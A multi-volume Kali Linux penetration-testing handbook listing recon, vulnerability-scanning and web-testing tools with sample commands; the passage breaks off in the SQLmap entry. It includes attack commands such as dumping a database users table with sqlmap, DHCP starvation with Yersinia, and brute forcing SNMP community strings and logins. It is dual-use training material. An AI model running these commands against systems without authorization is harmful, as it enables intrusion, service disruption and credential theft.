

Kali Linux Tools Handbook

Volume 1: Information Gathering

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Nmap	
2. Zenmap	
3. Masscan	
4. theHarvester	
5. Recon-ng	
6. Maltego	
7. SpiderFoot	
8. Sublist3r	
9. Amass	
10. DNSenum	
11. DNSrecon	
12. Fierce	
13. WhatWeb	
14. WafW00f	
15. Netdiscover	
16. ARP-scan	
17. Nbtscan	
18. Enum4linux	
19. SNMP-check	
20. Onesixtyone	
21. P0f	
22. DMitry	

Introduction

This handbook documents the tools found in Kali Linux's Information Gathering category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 1 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Nmap

Description: Network Mapper is a free, open-source utility for network discovery, port scanning, service/version detection, and OS fingerprinting. It uses raw IP packets to determine which hosts are alive, which ports are open, what services (with versions) are running, and what operating system and firmware a target is running.

Why We Use It: It is the foundation of almost every network-based assessment. Before any deeper testing (vulnerability scanning, exploitation, etc.) an assessor needs a reliable, verifiable map of live hosts, open ports, and running services.

Expected Outcome: A structured inventory of live hosts, open/closed/filtered ports, service banners, service versions, and (where possible) OS identification, which forms the scope map for the rest of the engagement.

Commands by Use Case

Basic host discovery on a subnet

```
nmap -sn 192.168.1.0/24
```

Performs a ping sweep only (no port scan) to identify which hosts in the subnet are up.

Full TCP port scan with service/version detection

```
nmap -sS -sV -p- 192.168.1.10
```

SYN-scans all 65535 TCP ports and grabs service banners/versions on a single host.

OS fingerprinting with script scanning

```
nmap -O -sC -sV 192.168.1.10
```

Attempts OS detection and runs Nmap's default safe NSE scripts alongside version detection.

Fast top-ports scan across a range

```
nmap -T4 -F 10.0.0.0/24
```

Aggressive timing, scans only the 100 most common ports across the whole range — useful for a quick first pass.

UDP scan of common UDP services

```
nmap -sU --top-ports 20 192.168.1.10
```

Scans the top 20 UDP ports, which is slower than TCP scanning but catches services like DNS, SNMP, and NTP.

2. Zenmap

Description: Zenmap is the official graphical front-end for Nmap. It lets users build and save scan profiles, visualize the network topology of scanned hosts, and compare the results of two scans.

Why We Use It: Useful for analysts who prefer a GUI, need to present scan results visually to non-technical stakeholders, or want to quickly diff two scans of the same network over time.

Expected Outcome: The same host/port/service data Nmap produces, presented as an interactive topology map and a saved, comparable scan profile/report.

Commands by Use Case

Launch a saved 'Intense Scan' profile

```
zenmap
```

Opens the GUI; select the 'Intense scan' profile and enter a target to run `nmap -T4 -A -v` under the hood.

Compare two scans

```
zenmap (Tools > Compare Results)
```

Loads two saved scan XML files and highlights differences in hosts/ports between them, useful for tracking configuration drift.

3. Masscan

Description: Masscan is an extremely fast, asynchronous TCP port scanner capable of scanning the entire IPv4 address space in minutes by using its own custom TCP/IP stack.

Why We Use It: Used when the assessment scope is very large (entire ranges/ASNs) and a fast first-pass sweep is needed before handing narrower results to Nmap for deeper enumeration.

Expected Outcome: A list of open ports across a very large IP space, produced far faster than Nmap, intended as an input for further, more detailed scanning.

Commands by Use Case

Scan a large range for a single port

```
masscan 10.0.0.0/8 -p443 --rate=10000
```

Scans an entire /8 for HTTPS at a controlled packet rate of 10,000 packets/sec.

Scan multiple ports and output to file

```
masscan 192.168.0.0/16 -p22,80,443,3389 -oL results.txt
```

Scans several common ports across a /16 and writes results in a grepable list format for follow-up with Nmap.

4. theHarvester

Description: theHarvester gathers open-source intelligence (OSINT) such as emails, subdomains, hostnames, employee names, and IPs from public sources like search engines, key servers, and social networks.

Why We Use It: Used at the reconnaissance stage of a penetration test or social-engineering assessment to build a list of potential targets (email addresses, subdomains) without touching the target's infrastructure directly.

Expected Outcome: A consolidated list of harvested emails, subdomains, virtual hosts, and employee names tied to the target organization/domain.

Commands by Use Case

Harvest emails and subdomains via search engines

```
theHarvester -d example.com -b google,bing
```

Queries Google and Bing for OSINT data related to example.com.

Harvest using a specific source and limit results

```
theHarvester -d example.com -b linkedin -l 100
```

Focuses on LinkedIn to find employee names associated with the domain, limited to 100 results.

5. Recon-ng

Description: Recon-ng is a full-featured web reconnaissance framework with a Metasploit-like console interface, modular architecture, and built-in reporting, allowing OSINT gathering to be automated and chained through modules.

Why We Use It: Used when a structured, repeatable OSINT workflow is needed — modules can chain (e.g., discovered subdomains feed into a hosts-lookup module, then a screenshot module).

Expected Outcome: A workspace database populated with structured OSINT data (domains, hosts, contacts, credentials leaks, etc.) that can be exported for reporting.

Commands by Use Case

Create a workspace and load a module

```
recon-ng [recon-ng] > workspaces create acme [recon-ng] > modules load  
recon/domains-hosts/hackertarget
```

Sets up an isolated workspace for the target and loads a module that resolves hosts for a domain using HackerTarget's API.

Run the module against a domain

```
[recon-ng] > options set SOURCE example.com [recon-ng] > run
```

Sets the target domain and executes the loaded module, storing discovered hosts in the workspace database.

6. Maltego

Description: Maltego is a graphical link-analysis tool that visualizes relationships between people, domains, companies, IP addresses, documents, and other entities using data pulled from a wide range of OSINT 'transforms'.

Why We Use It: Used to visually map relationships during OSINT investigations, making it easier to spot connections between an organization's infrastructure, personnel, and third parties.

Expected Outcome: An interactive graph/entity map showing discovered relationships, which can be exported as a report or image for client deliverables.

Commands by Use Case

Run a domain-to-DNS transform

maltego (GUI: add a Domain entity, right-click > Run Transform > 'To DNS Name')

Expands a domain entity into associated DNS records visually on the graph.

Chain transforms from person to email/social profiles

maltego (GUI: add a Person entity, run 'To Email Address' then 'To Social Network Profile')

Builds out a profile graph for a named individual using chained OSINT transforms.

7. SpiderFoot

Description: SpiderFoot is an automated OSINT reconnaissance tool that integrates with 200+ data sources to gather intelligence on IP addresses, domains, emails, and usernames, and correlates findings against known threat indicators.

Why We Use It: Used for automated, wide-coverage attack-surface discovery and for spotting things like leaked credentials, exposed cloud storage, or malicious associations tied to an asset.

Expected Outcome: A correlated report of exposed data points and risk indicators tied to the scanned target, viewable via its web UI or exported as CSV/JSON.

Commands by Use Case

Start the web UI and run a scan

spiderfoot -l 127.0.0.1:5001

Launches SpiderFoot's web interface locally; scans are then configured and run from the browser.

Run a scan from the CLI

sf.py -s example.com -u footprint -o json > sf_results.json

Runs a 'footprint' scan module set against a domain from the command line and saves results as JSON.

8. Sublist3r

Description: Sublist3r is a Python tool designed to enumerate subdomains of websites using OSINT, querying multiple search engines and services like VirusTotal, DNSdumpster, and Netcraft.

Why We Use It: Used early in reconnaissance to build a broad list of an organization's subdomains, which often reveals forgotten or lower-security assets (staging servers, old apps).

Expected Outcome: A list of discovered subdomains for the target domain, useful as input to further port scanning or web application testing.

Commands by Use Case

Enumerate subdomains for a domain

```
sublist3r -d example.com
```

Queries multiple public sources to list subdomains of example.com.

Save output and enable brute-force

```
sublist3r -d example.com -b -o subdomains.txt
```

Adds subdomain brute-forcing to OSINT-based enumeration and writes results to a file.

9. Amass

Description: OWASP Amass performs in-depth attack-surface mapping and asset discovery using OSINT, DNS enumeration, certificate transparency logs, web archives, and active/passive brute forcing.

Why We Use It: Used for comprehensive subdomain and asset enumeration on larger engagements where Sublist3r-style tools may miss less obvious sources like certificate transparency logs.

Expected Outcome: A deduplicated, detailed map of subdomains, associated IP ranges, and ASN information for the target organization.

Commands by Use Case

Passive subdomain enumeration

```
amass enum -passive -d example.com
```

Gathers subdomains using only passive sources (no direct queries against the target's DNS servers).

Active enumeration with brute forcing

```
amass enum -active -brute -d example.com -o amass_output.txt
```

Performs active DNS resolution plus brute-force subdomain guessing, saving results to a file.

10. DNSenum

Description: DNSenum is a Perl script that enumerates DNS information for a domain, including MX/NS/A records, attempts zone transfers, and can brute-force subdomains using a wordlist.

Why We Use It: Used to map out a domain's DNS infrastructure and check for a commonly overlooked misconfiguration — an unauthenticated zone transfer that leaks the entire DNS zone.

Expected Outcome: A report of DNS records, name servers, and (if misconfigured) the full contents of the DNS zone, plus any subdomains found via brute force.

Commands by Use Case

Basic DNS enumeration

```
dnsenum example.com
```

Retrieves NS, MX, and A records and attempts a zone transfer against each discovered name server.

Enumeration with a subdomain wordlist

```
dnsenum --dnsserver 8.8.8.8 -f subdomains.txt example.com
```

Uses a specified DNS server and a wordlist to brute-force subdomains of example.com.

11. DNSrecon

Description: DNSrecon is a Python-based DNS enumeration script supporting standard record enumeration, zone transfer testing, reverse lookups, SRV record enumeration, and Google/Bing subdomain enumeration.

Why We Use It: Used as a flexible DNS reconnaissance tool when an assessor needs a specific enumeration type (e.g., only reverse PTR lookups or only zone-transfer testing) rather than a full sweep.

Expected Outcome: Structured DNS record data (A, AAAA, MX, NS, TXT, SRV) and zone-transfer results, exportable to JSON/CSV/XML for reporting.

Commands by Use Case

Standard enumeration

```
dnsrecon -d example.com
```

Performs a standard set of DNS record lookups (A, AAAA, NS, MX, TXT, SOA) against the domain.

Zone transfer test only

```
dnsrecon -d example.com -t axfr
```

Attempts a DNS zone transfer (AXFR) against the domain's name servers to check for misconfiguration.

Brute-force subdomains with a custom wordlist

```
dnsrecon -d example.com -D wordlist.txt -t brt
```

Brute-forces subdomains using the supplied wordlist and reports valid resolutions.

12. Fierce

Description: Fierce is a semi-lightweight DNS reconnaissance tool that locates likely-related hosts for a target domain by combining zone-transfer attempts with wordlist-based subdomain guessing.

Why We Use It: Used as a fast, simple alternative to heavier DNS tools when the assessor wants a quick sense of a domain's non-contiguous IP space and nearby hosts.

Expected Outcome: A list of discovered hostnames/IPs associated with the domain, including nearby netblocks that may belong to the same organization.

Commands by Use Case

Basic domain scan

```
fierce --domain example.com
```

Attempts a zone transfer, then brute-forces common subdomain names against the domain.

Scan with a custom subdomain list

```
fierce --domain example.com --subdomain-file mylist.txt
```

Uses a custom wordlist instead of the built-in list for subdomain guessing.

13. WhatWeb

Description: WhatWeb identifies web technologies used by a website, including content management systems, JavaScript libraries, web servers, analytics packages, and embedded devices, using thousands of fingerprint plugins.

Why We Use It: Used to quickly fingerprint the technology stack of a target web application, which informs which vulnerability classes and exploits are worth pursuing.

Expected Outcome: A list of identified technologies (CMS, server software, frameworks, versions where detectable) for the target URL.

Commands by Use Case

Basic fingerprint of a site

```
whatweb example.com
```

Runs default-level fingerprinting plugins against the target and prints identified technologies.

Aggressive scan with verbose output

```
whatweb -a 3 -v https://example.com
```

Uses the most aggressive detection level and verbose output for maximum fingerprint detail.

14. WafW00f

Description: WafW00f identifies and fingerprints Web Application Firewalls (WAFs) protecting a target website by analyzing responses to a series of crafted, potentially malicious-looking requests.

Why We Use It: Used before web application testing to determine whether a WAF is present and which vendor/product it is, so testing techniques and payload obfuscation can be adjusted accordingly.

Expected Outcome: Identification of the WAF vendor/product (if any) protecting the target, or confirmation that no WAF was detected.

Commands by Use Case

Identify WAF on a target

```
wafw00f https://example.com
```

Sends a series of test requests and reports the detected WAF product, if any.

Scan a list of targets

```
wafw00f -i targets.txt -o waf_results.txt
```

Runs WAF detection against every URL in a file and writes the results to an output file.

15. Netdiscover

Description: Netdiscover is an active/passive ARP reconnaissance tool used to discover live hosts on a local network segment, especially useful on networks without DHCP where traditional scanning is harder.

Why We Use It: Used for quick host discovery on a local subnet during an internal penetration test, particularly effective in switched network environments where broadcast pings might be filtered.

Expected Outcome: A list of live IP addresses and their associated MAC addresses/vendor information on the local network segment.

Commands by Use Case

Active scan of a subnet

```
netdiscover -r 192.168.1.0/24
```

Actively sends ARP requests across the given range and lists responding hosts with their MAC vendor.

Passive discovery

```
netdiscover -p
```

Passively listens for ARP traffic on the network without sending any packets, useful for stealthier discovery.

16. ARP-scan

Description: arp-scan sends ARP request packets to a target range and displays any responses, providing a reliable way to discover all IPv4 hosts on a local Ethernet segment regardless of firewall rules.

Why We Use It: Used for reliable local network host discovery, since ARP operates at Layer 2 and is not blocked by host-based or network firewalls the way ICMP/TCP probes can be.

Expected Outcome: A complete list of live hosts on the local network segment with their MAC addresses and vendor identification.

Commands by Use Case

Scan the local subnet

```
arp-scan --localnet
```

Automatically detects the local network range and scans it via ARP requests.

Scan a specific interface and range

```
arp-scan -I eth0 192.168.1.0/24
```

Scans a specified range using a specific network interface, useful on multi-homed systems.

17. Nbtscan

Description: Nbtscan scans IP networks for NetBIOS name information, revealing computer names, logged-in usernames, and MAC addresses of Windows-based systems responding to NetBIOS queries.

Why We Use It: Used during internal Windows-network assessments to quickly identify hostnames and domain membership, which helps in mapping the environment before deeper Active Directory enumeration.

Expected Outcome: A list of NetBIOS names, associated usernames, and MAC addresses for hosts on the scanned range.

Commands by Use Case

Scan a subnet for NetBIOS info

```
nbtscan 192.168.1.0/24
```

Sends NetBIOS name queries across the subnet and lists responding hosts with their names/services.

18. Enum4linux

Description: Enum4linux enumerates information from Windows and Samba systems over SMB, including users, groups, shares, password policy, and OS details, wrapping several classic tools (smbclient, rpcclient, net) into one script.

Why We Use It: Used during internal assessments against Windows/Samba hosts to gather user lists, share names, and password policy information, which supports subsequent password-attack or share-access testing.

Expected Outcome: Enumerated SMB users, groups, shares, and password policy details for the target host, often revealing overly permissive share access or a weak lockout policy.

Commands by Use Case

Full enumeration against a host

```
enum4linux -a 192.168.1.20
```

Runs all enumeration checks (users, shares, policy, OS info, groups) against the target.

Enumerate only shares

```
enum4linux -S 192.168.1.20
```

Limits enumeration to listing available SMB shares on the target host.

19. SNMP-check

Description: snmp-check enumerates information from devices via the SNMP protocol, including system details, network interfaces, running processes, installed software, and routing tables, when a valid community string is known or guessable.

Why We Use It: Used to extract detailed configuration and inventory data from network devices (routers, printers, servers) that still use default or weak SNMP community strings.

Expected Outcome: A detailed dump of device information (hostname, uptime, interfaces, processes, software) accessible via the SNMP community string tested.

Commands by Use Case

Enumerate with the default public community

```
snmp-check 192.168.1.1 -c public
```

Queries the device using the commonly-default 'public' read-only community string.

Enumerate on a non-default port

```
snmp-check 192.168.1.1 -c public -p 1161
```

Targets an SNMP service running on a non-standard port.

20. Onesixtyone

Description: onesixtyone is a fast SNMP scanner that can brute-force community strings across a large number of hosts in parallel, using a wordlist of common strings.

Why We Use It: Used to quickly identify hosts on a network that respond to guessable SNMP community strings, at a scale that manual per-host testing wouldn't allow.

Expected Outcome: A list of hosts and the SNMP community strings that successfully authenticated against them.

Commands by Use Case

Brute-force a community string list against a range

```
onesixtyone -c community.txt -i hosts.txt
```

Tests every community string in the wordlist against every host in the target list.

21. P0f

Description: p0f is a passive OS and application fingerprinting tool that identifies operating systems and network stack characteristics purely by observing traffic, without sending any packets to the target.

Why We Use It: Used when a completely passive, undetectable method of OS fingerprinting is needed — for example, monitoring traffic on a span port or reviewing a packet capture without alerting the target.

Expected Outcome: Identification of operating systems and, in some cases, application/browser details for hosts observed in the monitored traffic.

Commands by Use Case

Passive fingerprinting on a live interface

```
p0f -i eth0
```

Listens on the given interface and fingerprints OSes of hosts generating or receiving traffic.

Analyze a saved packet capture

```
p0f -r capture.pcap
```

Runs fingerprinting analysis against a previously captured pcap file instead of live traffic.

22. DMitry

Description: DMitry (Deepmagic Information Gathering Tool) is an all-in-one reconnaissance utility that can perform whois lookups, subdomain search, email address harvesting, and TCP port scanning from a single command.

Why We Use It: Used as a quick, single-command reconnaissance sweep during the initial phase of an engagement to gather a broad set of basic information in one pass.

Expected Outcome: Combined output covering whois data, subdomains, harvested email addresses, and a basic port scan of the target.

Commands by Use Case

Full information gathering sweep

```
dmity -winsepo output.txt example.com
```

Runs whois lookup, IP info, subdomain search, email search, and a port scan, saving all output to a file.

Kali Linux Tools Handbook

Volume 2: Vulnerability Analysis

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Nikto	
2. OpenVAS / Greenbone Vulnerability Manager (GVM)	
3. Legion.....	
4. Lynis	
5. SSLscan	
6. SSLyze	
7. testssl.sh.....	
8. Nmap NSE Vulnerability Scripts.....	
9. Nuclei.....	
10. Yersinia.....	
11. Cisco-torch.....	
12. Cisco-auditing-tool	
13. Unix-privesc-check.....	

Introduction

This handbook documents the tools found in Kali Linux's Vulnerability Analysis category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 2 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Nikto

Description: Nikto is an open-source web server scanner that tests for thousands of known dangerous files/CGIs, outdated server software, and other misconfigurations against web servers.

Why We Use It: Used as a fast, broad-coverage first pass against a web server to surface obviously outdated software versions, default files, and common misconfigurations before deeper manual or automated testing.

Expected Outcome: A report listing potentially vulnerable files, outdated software banners, missing security headers, and other flagged issues on the target web server.

Commands by Use Case

Basic scan of a web server

```
nikto -h https://example.com
```

Runs Nikto's default checks against the target host and lists findings with severity notes.

Scan a non-standard port and save output

```
nikto -h 192.168.1.10 -p 8443 -o nikto_report.html -Format html
```

Targets a service on port 8443 and saves the results as an HTML report for the client deliverable.

Scan through a proxy

```
nikto -h example.com -useproxy http://127.0.0.1:8080
```

Routes the scan traffic through a local proxy (e.g., Burp Suite) so requests/responses can be inspected.

2. OpenVAS / Greenbone Vulnerability Manager (GVM)

Description: OpenVAS/GVM is a full-featured vulnerability scanning and management framework that runs thousands of Network Vulnerability Tests (NVTs) against hosts, correlating findings with CVEs and CVSS scores.

Why We Use It: Used as the primary automated vulnerability scanner in an internal or external assessment to identify known, CVE-mapped vulnerabilities across an entire host or network range, with a manageable web-based reporting workflow.

Expected Outcome: A prioritized vulnerability report per host, including CVE references, CVSS scores, affected software, and remediation guidance, exportable for the client deliverable.

Commands by Use Case

Set up and start the service

```
gvm-setup && gvm-start
```

Initializes the GVM feed data (first run only) and starts the web service, normally reachable at <https://127.0.0.1:9392>.

Create and launch a scan via the CLI (gvm-cli)

```
gvm-cli --gmp-username admin --gmp-password 'pass' socket --xml
"<create_target><name>Target1</name><hosts>192.168.1.0/24</hosts></create_target>"
```

Creates a scan target programmatically via GMP (Greenbone Management Protocol) for automation/scripting workflows.

Typical workflow via the web UI

Scans > Tasks > New Task (select target + scan config 'Full and fast') > Start

The most common approach: define a target, choose a scan configuration, and launch the task from the browser interface.

3. Legion

Description: Legion is a semi-automated network penetration testing tool that combines Nmap scanning, NSE script execution, and vulnerability lookups in a graphical interface, auto-detecting services and suggesting relevant checks.

Why We Use It: Used to speed up the early recon-to-vulnerability-mapping phase by automatically chaining port scanning with relevant vulnerability checks and presenting them in an easy-to-navigate GUI.

Expected Outcome: A host-by-host breakdown of open ports, detected services, and automatically triggered vulnerability checks/scripts, viewable and exportable from the GUI.

Commands by Use Case

Launch and add a target

legion (GUI: File > New Session, then add a target IP/range)

Starts the tool and queues a target for automated scanning and enumeration.

Trigger service-specific vulnerability scripts

legion (right-click a discovered service > 'Run Nmap scan with NSE vuln scripts')

Runs targeted NSE vulnerability scripts against a specific detected service directly from the results tree.

4. Lynis

Description: Lynis is an open-source security auditing tool for Unix/Linux systems that performs an in-depth local system scan covering configuration, installed software, kernel hardening, file permissions, and compliance controls.

Why We Use It: Used for host-based (as opposed to network-based) vulnerability and hardening assessment, typically run locally on a server to check its own security posture against best-practice benchmarks.

Expected Outcome: A hardening index score plus a categorized list of warnings and suggestions covering authentication, file permissions, logging, kernel settings, and installed software.

Commands by Use Case

Run a full local system audit

```
sudo lynis audit system
```

Performs a comprehensive local audit and prints warnings/suggestions with reference IDs at the end.

Generate a report file for review

```
sudo lynis audit system --report-file /var/log/lynis-report.dat
```

Saves the structured audit results to a report file for later parsing or historical comparison.

5. SSLscan

Description: SSLscan tests SSL/TLS-enabled services to determine which protocol versions and cipher suites they support, and can retrieve the server's certificate details.

Why We Use It: Used to quickly check a server's TLS configuration for weak protocol versions (SSLv2/v3, weak ciphers) that could allow downgrade or cryptographic attacks.

Expected Outcome: A list of supported SSL/TLS protocol versions, accepted cipher suites (flagged by strength), and certificate details for the target service.

Commands by Use Case

Scan a standard HTTPS endpoint

```
sslscan example.com:443
```

Connects to the target and enumerates supported protocols/ciphers along with certificate information.

Scan and output as XML for reporting

```
sslscan --xml=sslscan_report.xml example.com:443
```

Produces machine-readable XML output, useful for feeding into a report-generation pipeline.

6. SSLyze

Description: SSLyze is a Python-based TLS/SSL configuration analyzer that scans for supported cipher suites, certificate validity, common misconfigurations, and known vulnerabilities like Heartbleed and weak Diffie-Hellman parameters.

Why We Use It: Used for a deeper, more automation-friendly TLS assessment than SSLscan, especially useful when scanning many hosts and needing structured (JSON) output for reporting.

Expected Outcome: A detailed report on TLS configuration issues, certificate chain problems, and specific known vulnerabilities affecting the target's TLS implementation.

Commands by Use Case

Run a full default scan

```
sslyze example.com
```

Runs SSLyze's default set of scan commands (protocol support, cipher suites, certificate info, common vulnerabilities) against the target.

Scan multiple targets and export JSON

```
sslyze --json_out=results.json example.com:443 example.org:443
```

Scans multiple hosts in one run and writes structured JSON output for later parsing.

7. testssl.sh

Description: testssl.sh is a command-line tool that checks a server's TLS/SSL service for protocol support, cipher strength, certificate issues, and a long list of known vulnerabilities (Heartbleed, POODLE, BEAST, ROBOT, etc.).

Why We Use It: Used as one of the most comprehensive TLS testing tools available, particularly valuable for compliance-oriented assessments that need to check against a specific named list of TLS vulnerabilities.

Expected Outcome: A detailed, color-coded terminal report (or JSON/HTML/CSV export) covering protocol support, cipher configuration, certificate validity, and named vulnerability checks.

Commands by Use Case

Full scan of a target

```
testssl.sh example.com
```

Runs the complete suite of TLS/SSL checks against the target host on port 443 by default.

Check only for specific vulnerabilities

```
testssl.sh --heartbleed --robot example.com
```

Limits the scan to specific named vulnerability checks rather than the full test suite.

Export results as JSON

```
testssl.sh --jsonfile results.json example.com
```

Saves findings in JSON format suitable for automated report generation.

8. Nmap NSE Vulnerability Scripts

Description: Nmap's Scripting Engine (NSE) includes a 'vuln' category of scripts that check discovered services against known vulnerabilities (e.g., MS17-010/EternalBlue, Heartbleed, specific CVEs) as part of or after a normal port scan.

Why We Use It: Used to extend a standard Nmap scan directly into vulnerability checking without switching tools, which is convenient for a quick vulnerability sanity-check during the scanning phase.

Expected Outcome: Direct confirmation (or non-confirmation) of specific known vulnerabilities on the scanned host's open services, printed alongside the normal Nmap scan output.

Commands by Use Case

Run all default vulnerability scripts

```
nmap -sV --script vuln 192.168.1.10
```

Runs every NSE script tagged 'vuln' against detected services on the target.

Check specifically for EternalBlue (MS17-010)

```
nmap -p445 --script smb-vuln-ms17-010 192.168.1.10
```

Runs a single, targeted NSE script to check for the MS17-010 SMB vulnerability.

9. Nuclei

Description: Nuclei is a fast, template-based vulnerability scanner that sends crafted requests based on YAML templates covering thousands of known CVEs, misconfigurations, exposed panels, and default credentials.

Why We Use It: Used for rapid, up-to-date vulnerability scanning at scale, especially valuable because its community-maintained template library is updated quickly after new CVEs are disclosed.

Expected Outcome: A list of confirmed matches against the loaded templates, each mapped to a specific CVE ID or misconfiguration type, with severity ratings.

Commands by Use Case

Scan a target with all templates

```
nuclei -u https://example.com -t nuclei-templates/
```

Runs the full template library against a single target URL.

Scan a list of hosts for a specific severity

```
nuclei -l hosts.txt -severity critical,high
```

Runs templates filtered to critical/high severity findings across multiple hosts from a file.

Update templates before scanning

```
nuclei -update-templates
```

Pulls the latest community template updates so newly disclosed CVE checks are included.

10. Yersinia

Description: Yersinia is a network protocol exploitation framework designed to test the security of Layer 2 protocols such as STP, CDP, DTP, DHCP, HSRP, and VTP by crafting and injecting protocol-specific attack packets.

Why We Use It: Used during internal network assessments to test whether switches and Layer 2 infrastructure are vulnerable to protocol-level attacks like STP root-bridge takeover or DHCP starvation.

Expected Outcome: Confirmation of whether a given Layer 2 protocol attack succeeds against the target network (e.g., a rogue device becoming the STP root, or a DHCP pool being exhausted), revealing switch-hardening gaps.

Commands by Use Case

Launch the interactive ncurses interface

```
yersinia -l
```

Opens Yersinia's interactive terminal UI, from which specific protocol attacks can be selected and launched.

Run a DHCP starvation attack from the CLI

```
yersinia dhcp -attack 1 -interface eth0
```

Sends a flood of DHCP DISCOVER requests to exhaust the DHCP server's address pool on the given interface.

11. Cisco-torch

Description: Cisco-torch is a mass-scanning tool built specifically to fingerprint Cisco devices and probe for common vulnerabilities, default credentials, and exposed services (Telnet, SNMP, TFTP) on Cisco network equipment.

Why We Use It: Used during assessments of environments with significant Cisco infrastructure to quickly identify devices running vulnerable or default configurations.

Expected Outcome: A list of identified Cisco devices with flagged issues such as open Telnet with default credentials, exposed SNMP, or known vulnerable IOS versions.

Commands by Use Case

Scan a range for Cisco devices with all checks

```
cisco-torch -A 192.168.1.0/24
```

Runs all available checks (Telnet, SNMP, TFTP, web) against every host in the specified range.

12. Cisco-auditing-tool

Description: Cisco Auditing Tool (CAT) scans Cisco routers for common vulnerabilities including default community strings, weak passwords, and known IOS vulnerabilities.

Why We Use It: Used specifically to audit Cisco router configurations for well-known, historically common weaknesses that are frequently left unaddressed in production environments.

Expected Outcome: A report flagging weak/default community strings, guessable passwords, and specific known IOS vulnerabilities found on the scanned devices.

Commands by Use Case

Audit a single host with a community-string wordlist

```
CAT -h 192.168.1.1 -w community_strings.txt
```

Tests the target Cisco device against a list of common SNMP community strings and flags weaknesses.

13. Unix-privesc-check

Description: unix-privesc-check is a shell script that runs on a Unix/Linux system and inspects file permissions, cron jobs, service configurations, and other settings for local privilege-escalation weaknesses.

Why We Use It: Used during a post-access/internal assessment (or as a self-audit) to identify local misconfigurations — such as world-writable service files or insecure cron entries — that could let a low-privileged user escalate to root.

Expected Outcome: A categorized list of potential privilege-escalation vectors found on the local system, such as writable startup scripts, insecure SUID binaries, or misconfigured cron jobs.

Commands by Use Case

Run a standard local check

```
./unix-privesc-check standard > privesc_report.txt
```

Performs the standard set of checks on the local system and saves output for review.

Run a more thorough (slower) check

```
./unix-privesc-check detailed > privesc_detailed.txt
```

Runs additional, more time-consuming checks for a deeper privilege-escalation review.

Kali Linux Tools Handbook

Volume 3: Web Application Analysis

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Burp Suite	
2. OWASP ZAP	
3. SQLmap	
4. WPScan.....	
5. Gobuster	
6. Dirb	
7. ffuf	
8. Wfuzz.....	
9. Commix	
10. XSSStrike.....	
11. Skipfish	
12. Wapiti.....	
13. JoomScan.....	
14. CMSmap.....	

Introduction

This handbook documents the tools found in Kali Linux's Web Application Analysis category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 3 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Burp Suite

Description: Burp Suite is an integrated web application security testing platform combining an intercepting proxy, spider/crawler, active and passive scanner, repeater, intruder (automated attack tool), and decoder into one interface.

Why We Use It: Used as the primary hands-on tool for manual web application penetration testing, allowing testers to intercept and modify every request/response between browser and server while chaining that visibility into automated attacks.

Expected Outcome: A full picture of the application's request/response traffic, discovered endpoints, and confirmed vulnerabilities (via manual testing or the scanner), typically exported as a findings report.

Commands by Use Case

Intercept and modify a request

Burp Suite: Proxy > Intercept On, then browse the target site through the configured proxy (127.0.0.1:8080)

Captures each HTTP request before it reaches the server, allowing manual tampering with parameters, headers, or cookies.

Send a request to Repeater for manual testing

Right-click a captured request > Send to Repeater, then edit and resend

Lets the tester manually replay and modify a specific request repeatedly to probe for vulnerabilities like injection or logic flaws.

Run automated brute-force with Intruder

Right-click a request > Send to Intruder, mark the parameter position, load a payload list, then Start Attack

Automates sending many payload variations against a chosen parameter, useful for fuzzing, brute-forcing logins, or parameter enumeration.

2. OWASP ZAP

Description: OWASP Zed Attack Proxy (ZAP) is a free, open-source web application security scanner offering an intercepting proxy, automated active/passive scanning, spidering, and a scripting engine for custom checks.

Why We Use It: Used as an open-source alternative or complement to Burp Suite, especially valued for CI/CD-friendly automation (headless scanning) in DevSecOps pipelines.

Expected Outcome: A vulnerability report covering issues such as XSS, SQL injection, insecure headers, and outdated components, discoverable via both active scanning and passive traffic analysis.

Commands by Use Case

Quick automated scan via CLI

```
zap-cli quick-scan --self-contained -o /tmp/zap.log https://example.com
```

Runs a fully automated scan against a target and logs findings, suitable for pipeline integration.

Baseline scan using the Docker container

```
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com -r zap_report.html
```

Runs ZAP's passive 'baseline' scan (safe for production) and generates an HTML report.

Full active scan through the desktop GUI

```
zap.sh (GUI: enter target URL in Quick Start tab > Attack)
```

Launches ZAP's desktop interface and runs a full active scan including spidering and vulnerability probing.

3. SQLmap

Description: SQLmap is an automated tool for detecting and exploiting SQL injection vulnerabilities, supporting a wide range of database back-ends and injection techniques (boolean-based, time-based, UNION-based, error-based, stacked queries).

Why We Use It: Used to confirm and exploit SQL injection vulnerabilities discovered manually or via a scanner, automating tedious tasks like data extraction, database fingerprinting, and even OS command execution where supported.

Expected Outcome: Confirmation of SQL injection (or lack thereof), database fingerprint (type/version), and — if exploited — extracted database contents such as table names, user credentials, or full dumps.

Commands by Use Case

Test a URL parameter for injection

```
sqlmap -u "https://example.com/item?id=1" --batch
```

Tests the 'id' parameter for SQL injection using SQLmap's default detection techniques, answering prompts automatically.

Enumerate databases once injection is confirmed

```
sqlmap -u "https://example.com/item?id=1" --dbs
```

Lists all databases accessible via the confirmed injection point.

Dump a specific table

```
sqlmap -u "https://example.com/item?id=1" -D appdb -T users --dump
```

Extracts and displays the full contents of the 'users' table from the 'appdb' database.

Test a POST request captured from Burp

```
